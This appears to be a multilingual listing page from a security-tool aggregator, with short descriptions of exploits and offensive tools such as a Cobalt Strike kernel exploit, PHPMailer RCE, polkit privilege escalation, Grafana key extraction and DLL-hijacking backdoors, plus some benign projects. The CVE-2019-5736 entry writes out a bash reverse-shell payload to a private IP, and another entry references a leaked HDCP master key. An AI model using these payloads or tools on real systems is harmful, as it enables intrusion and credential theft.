amd-ryzen-master-driver-v17-exploit

Cobalt Strike Beacon Object File for kernel exploitation using AMD's Ryzen Master Driver version 17. Built by Tijme. Credits to Alex for teaching me! Made possible by Northwave Security Description This is a Cobalt Strike CS Beacon Object File BOF and executable which exploits AMD's Ryzen Master...

SharpStartWebclient

SharpStartWebclient Run from an unprivileged session to start the WebClient service and enable that juicy privesc. C port of the Beacon Object File from https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/StartWebClient/SOURCE/StartWebClient.c...

exploit-CVE-2016-10033

PHPMailer 5.2.18 Remote Code Execution PHPMailer is the world's most popular transport class, with an estimated 9 million users worldwide. Downloads continue at a significant pace daily. Used by many open-source projects: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! and many more PHPMailer...

SeManageVolumeExploit

SeManageVolumeExploit This exploit grants full permission on C:\ drive for all users on the machine. Enables the privilege in the token Creates handle to \.\C: with SYNCHRONIZE | FILETRAVERSE Sends the FSCTLSDGLOBALCHANGE to replace S-1-5-32-544 with S-1-5-32-545 Overwriting "Printconfig.dll" for...

icicle

MSP430 crash analysis Crashes found in MSP430 binaries by Icicle. | Target| Description ---|---|--- I03| Goodwatch| Incorrect comparison when writing to dmesgbuffer I04| Goodwatch| Zero message length I05| Goodwatch| RNG Overflow I06| Goodwatch| Out-of-bounds access in OOK keypress I07| Goodwatch...

czds

CZDS What is CZDS? Each Top Level Domain TLD is maintained by a registry operator, who also manages a publicly available list of Second Level Domains SLDs and the details needed to resolve those domain names to Internet Protocol IP addresses. The registry operator’s zone data contains the mapping...

TimeException

Disclaimer This tool is provided for educational purposes only. Any actions and activities related to the material contained within this repository are solely your responsibility. Misusing this tool can result in criminal charges against the persons in question. The author will not be held...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Usage : machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit CVE-2019-5736. Download file main.go, change the payload in the file into: root@kitploit: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" After that, run:...

Magento-ver.-2.4.6

Exploit Title: FireBear Studio Improved Import & Export ver. 3.8.6 for Magento 2.4.6 - XSLT Server Side Injection Date: 2023-11-17 Exploit Author: tmrswrr Vendor Homepage: FireBear Studio Software Link: FireBear Studio Improved Import & Export Version: FireBear Improved Import & Export ver. 3.8.6...

hdcp-genkey

HDCP Key Generation Example This script implements a simple version of the HDCP key generation algorithm in Python using the leaked HDCP master key which is located in master-key.txt. root@kitploit: Usage: generatekey.py options Options: -h, --help show this help message and exit -m FILE,...

hdcp-genkey

Exemple de génération de clé HDCP Ce script implémente une version simple de l'algorithme de génération de clé HDCP en Python en utilisant la clé maître HDCP divulguée qui se trouve dans master-key.txt. root@kitploit: Usage: generatekey.py options Options: -h, --help show this help message and ex...

CVE-2021-4034

CVE-2021-4034 Un día para el exploit de escalada de privilegios de polkit Solo ejecuta make, ./cve-2021-4034 y disfruta de tu shell de root. El aviso original de los autores reales está aquí PoC Si el exploit funciona, obtendrás una shell de root inmediatamente: root@kitploit:...

cosign

cosign Signer des conteneurs OCI et d'autres artefacts avec Sigstore ! Cosign vise à faire des signatures une infrastructure invisible. Cosign prend en charge : La « signature sans clé » avec l'autorité de certification Fulcio du bien public Sigstore et le journal de transparence Rekor par défaut...

CVE-2024-28995

CVE-2024-28995 Disclaimer This tool is only for personal security research and learning. Any direct or indirect consequences and losses caused by the dissemination or use of this tool are the responsibility of the user. The tool author assumes no responsibility. version = 15.4 NAME: Serv-U -...

external_lib_AOSP10_r33_CVE-2021-45960_CVE-2021-46143-

Expat, Release 2.2.6 This is Expat, a C library for parsing XML, started by James Clark in 1997. Expat is a stream-oriented XML parser. This means that you register handlers with the parser before starting the parse. These handlers are called when the parser discovers the associated structures in...

DllShimmer

DllShimmer Weaponize DLL hijacking easily. Backdoor any function in any DLL without disrupting normal process operation. How it works DllShimmer parses the original DLL and extracts information about exported functions name, ordinal number, and forwarder info. Based on this information, DllShimme...

cve-2021-44228-log4j-test

cve-2021-44228-log4j-test Prueba 1. Servidor LDAP y servidor de descarga del archivo malicioso 1.1 Ejecución de docker-compose docker-compose.yml root@kitploit: version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han"...

metashield-clean-up-sdk-python

============================== Metashield-clean-up-sdk-python Instalación Instale el paquete metashieldcleanup usando pip:: root@kitploit: pip install metashieldcleanup Uso Ejemplo para limpiar un archivo. .. code-block:: python root@kitploit: import time import base64 from metashieldcleanup.api...

Grafxploit

Automated Exploit Tool for Grafana CVE-2021-43798 Overview This project is an automated exploit tool designed to scan for and extract sensitive information from compromised Grafana instances vulnerable to CVE-2021-43798. The tool identifies vulnerable plugins and extracts SSH keys from compromise...

CVE-2017-5123

CVE-2017-5123 Bug overview La llamada al sistema waitid en el kernel de Linux no validaba la dirección de destino utilizada. Esto podría permitir a un usuario local escribir en la memoria del kernel, lo que podría conducir a una escalada de privilegios en el dispositivo o a un escape del sandbox...